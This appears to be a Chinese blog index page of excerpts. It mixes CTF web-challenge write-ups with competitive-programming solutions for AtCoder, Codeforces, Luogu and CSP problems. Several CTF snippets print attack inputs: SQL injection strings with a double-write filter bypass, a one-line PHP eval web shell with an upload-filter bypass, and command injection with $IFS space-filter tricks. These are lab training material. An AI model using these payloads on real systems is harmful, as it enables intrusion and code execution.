题解joisc 2019
[极客大挑战 2019]Havefun
访问网站如下。 在网页源代码中有提示。 <!-- $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; } --> Payload:/?cat=dog。 ......
[极客大挑战 2019]LoveSQL
打开题目如下。 直接使用万能密码即可登录,但未拿到 flag。 这里尝试联合注入,首先确定字段数量,Payload:admin' or 1=1 order by 1;#,当字段数为 4 时报错,因此字段数为 3。 接下来判断什么位置的字段会输出:admin' union select 1,2,3;# ......
[极客大挑战 2019]Http
打开网页如下。 查看页面源代码,发现存在 Secret.php 页面。 <h2>小组简介</h2> <p>·成立时间:2005年3月 ·研究领域:渗透测试、逆向工程、密码学、IoT硬件安全、移动安全、安全编程、二进制漏洞挖掘利用等安全技术 ·小组的愿望:致力于成为国内实力强劲和拥有广泛影响力的安全研 ......
[极客大挑战 2019]Upload
打开题目后发现是一道上传题,如下。 随便上传个 .jpg 结尾的小马上去,提示:NO! HACKER! your file included '<?'。 <?php @eval($_POST['cmd']); ?> 因此使用其他方式替换掉 <?。 <script language="php">@ev ......
[极客大挑战 2019]BabySQL
打开题目如下。 尝试输入:admin' or 1=1;#,发现 or 被过滤了。 尝试双写绕过:admin' oorr 1=1;#,成功登录。 接下来是与 **[极客大挑战 2019]LoveSQL **类似的,只是多使用了一个双写绕过而已。 ......
[GXYCTF2019]Ping Ping Ping
访问题目后存在提示。 随后输入:/?ip=1;ls 即可看到当前目录下存在 flag.php 文件。 这里尝试使用 Payload:/?ip=1;cat flag.php 得到如下。 这里尝试使用:${IFS}、{IFS}$9、$IFS$9 来绕过空格过滤,发现程序也检测了 {、} 符号,因此使用 ......
[极客大挑战 2019]Secret File
打开题目如下。 查看页面源代码,发现存在 Archive_room.php 文件。 访问 Archive_room.php 文件如下。 使用 BurpSuite 抓包,点击 SECRET 后,发现其中某个跳转的页面源代码存在提示 secr3t.php。 HTTP/1.1 302 Found Serv ......
[题解][ARC167C]一道申必的数数题
这道题目千岩万转,需要用到多次转化,其中有一些转化较为常见,有一些则需要思考。 首先观察原问题:给定数列 \(a\),对于所有 \(1\sim n\) 的排列 \(p\),构建一张只有 \(j-i\le k\) 的 \((i,j)\) 之间有权值为 \(\max\{a_{p_i}, a_{p_j}\ ......
题解 ABC326E【Revenge of "The Salary of AtCoder Inc."】
根据期望的线性性,总工资的期望等于在每一个 \(i\) 处获得的工资的期望之和,而在 \(i\) 处获得的工资的期望 \(E(i)=A_i\times p(i)\),其中 \(p(i)\) 表示掷骰子掷到 \(i\) 且有效的概率。 初始 \(p(0)=1\),则只有从 \(0\sim i-1\) ......
P5404 [CTS2019] 重复 题解
题目链接 观察题目,我们发现直接计算是困难的,先构造单个合法的 \(T\) 分析其性质。 为了构造出 \(T\),先考虑构造时 \(T\) 时什么时候会出现不合法的情况,此时 \(T\) 会有一段和 \(S\) 相同的前缀,且这段前缀后面跟着的字符比 \(S\) 所跟的小。 为了避免这种情况出现,我 ......
[RoarCTF 2019]Easy Calc
题目一打开,是一个计算器。 主页源代码如下,这里可以看到有一个 calc.php 文件,并且提示存在 WAF(疑)。 <!--I've set up WAF to ensure security.--> <script> $('#calc').submit(function(){ $.ajax({ ......
[极客大挑战 2019]BuyFlag
打开网页,发现右手边的菜单中有个 PAYFLAG,打开后跳转到 pay.php 中,其中网页源代码有提示,主要内容如下: If you want to buy the FLAG: You must be a student from CUIT!!! You must be answer the co ......
[极客大挑战 2019]PHP
打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在 www.zip 文件,下载后解压打开,发现源码。 在 index.php 中,关键代码如下: <?php include 'class.php'; $select = $_GE ......
[极客大挑战 2019]PHP
打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在 www.zip 文件,下载后解压打开,发现源码。 在 index.php 中,关键代码如下: <?php include 'class.php'; $select = $_GE ......
CSPRO 历届题目与题解
官方题目链接:http://118.190.20.162/ \(\Huge目录\) 201609 201612 201709 202104 202109 202112 202203 202206 202209 202303 202305 202309 \(\Huge\text{CSP201609}\ ......
[安洵杯 2019]吹着贝斯扫二维码
[安洵杯 2019]吹着贝斯扫二维码 压缩包里面有个flag.zip文件,但是有密码无法打开 并且注释信息里有一串字符GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZ ......
CF1884B Haunted House 题解
CF1884B Haunted House 题解 借鉴了当前 另一篇题解,加了更多的说明。 简化题意 给定一个长度为 \(n\) 的二进制串 \(S\),求 \(f(1),f(2),\cdots,f(n)\)。 其中,\(f(i)\) 定义为,每次交换相邻的两个二进制位,将 \(S\) 的后 \(i ......
AT_abc325_g offence 题解
AT_abc325_g offence 题解 一道不难但是需要想一想的区间 DP。 有一个比较复杂的例子:ooofofxxx,简单的分析可知,一个 of 后面删除多少,与其前、后都有关,于是考虑区间 DP。 想到这里,其实问题已经解决一半了。 状态设计 设 \(f(l,r)\) 为闭区间 \([l, ......
AT_abc326_d ABC Puzzle 题解
AT_abc326_d ABC Puzzle 题解 看题 事实上,即使在 \(N=5\) 的情况下,也只有 \(66240\) 个网格满足「每行/每列恰好包含一个 A、B 和 C」。——官方题解 其实看到这道题,就感觉是搜索,这很显然。 但是我们会发现,最最最 native 的搜索,是 \(4^{5 ......
AT_abc326_f Robot Rotation 题解
AT_abc326_f Robot Rotation 题解 经典问题,以前遇到过一个类似的问题:[ABC082D] FT Robot。 建议对比着看一看这两道题,是两种不同的思路。 (那一道题不用输出方案,因此可以用 bitset 优化;而此题需要输出方案,因此需要双向搜索。 思路 注意到每次只能「 ......
AT_abc325_f Sensor Optimization Dilemma 题解
AT_abc325_f Sensor Optimization Dilemma 题解 Date 20231025:修复手滑公式 \(\min\)、\(\max\) 写反了。 动态规划。类似背包问题。 朴素算法 记 \((x,y)\) 表示使用 \(x\) 个 (1) 传感器、\(y\) 个 (2) ......
AT_abc326_e Revenge of "The Salary of AtCoder Inc." 题解
AT_abc326_e Revenge of "The Salary of AtCoder Inc." 题解 一道简单的概率论+动态规划题目(然而我赛时没看这道题 题意 有一个长度为 \(n\) 的序列 \(A\)、一个 \(n\) 面骰子,掷若干次骰子,如果这一次掷骰子的点数小于等于上一次的点数, ......
CSP-S2023题解
lock 直接模拟题意,过程略。 #include<bits/stdc++.h> using namespace std; int st[15][15]; int dis(int x,int y){ if(x < y)return y - x; return y + 10 - x; } bool m ......
[CSP-S2020] 儒略日 题解
[CSP-S2020] 儒略日 今儿终于做掉困扰多年的题目了,其实想好细节也不难。 容易发现儒略历和格里高利历的润年判断方式不一样,并且中间有消失的十天,计算起来相当不方便。所以我们可以首先计算出 \(-4713.1.1\) ~ \(1582.10.4\) 会经过多少天,可以通过一天一天暴力跳的方法 ......
World Tour Finals 2019 D Distinct Boxes
洛谷传送门 AtCoder 传送门 神题。 设第 \(i\) 个箱子有 \(x_i\) 个红球,\(y_i\) 个蓝球,那么要求找到最大的 \(K\) 使得 \(\sum\limits_{i = 1}^K x_i \le R, \sum\limits_{i = 1}^K y_i \le B\),且 ......
P8256字符串 题解
传送门 考虑\(DP\): 记状态 \(f_{i,j,st,en}\) 表示现在枚举到第 \(i\) 个字符,匹配了 \(j\) 个字符,要在前面删 \(st\) 个字符,在后面删 \(en\) 个字符的方案数 不难发现 \(f_{n+1,m,0,0}=1\) 状态转移有 当 \(s_i='-'\) ......
[eJOI2020 Day1] Fountain 题解
题目链接 原题做法:用单调栈求出每个圆盘中的水溢出后会 直接 流到哪个圆盘,因为每个圆盘中的水向下流有且仅有一个圆盘会 直接 接住它(将水池视作直径和容量都是正无穷的一个圆盘),因此构成了一棵树,根节点即为水池,每个点有点权,即该点代表的圆盘的容量。记 \(dis_{i,j}\) 表示节点 \(i\ ......
P4309 [TJOI2013] 最长上升子序列题解
P4309 [TJOI2013] 最长上升子序列题解 正文 单调队列?单调锤子队列!! 本题的操作可以省略成: 单点修改 区间查询 好极了,此时我们有两种选择: 线段树和树状数组,(平衡树,真不会,下一位 因为不需要其他操作,所以我们还是选择更小巧更可爱的树状数组吧。 关于vector vector ......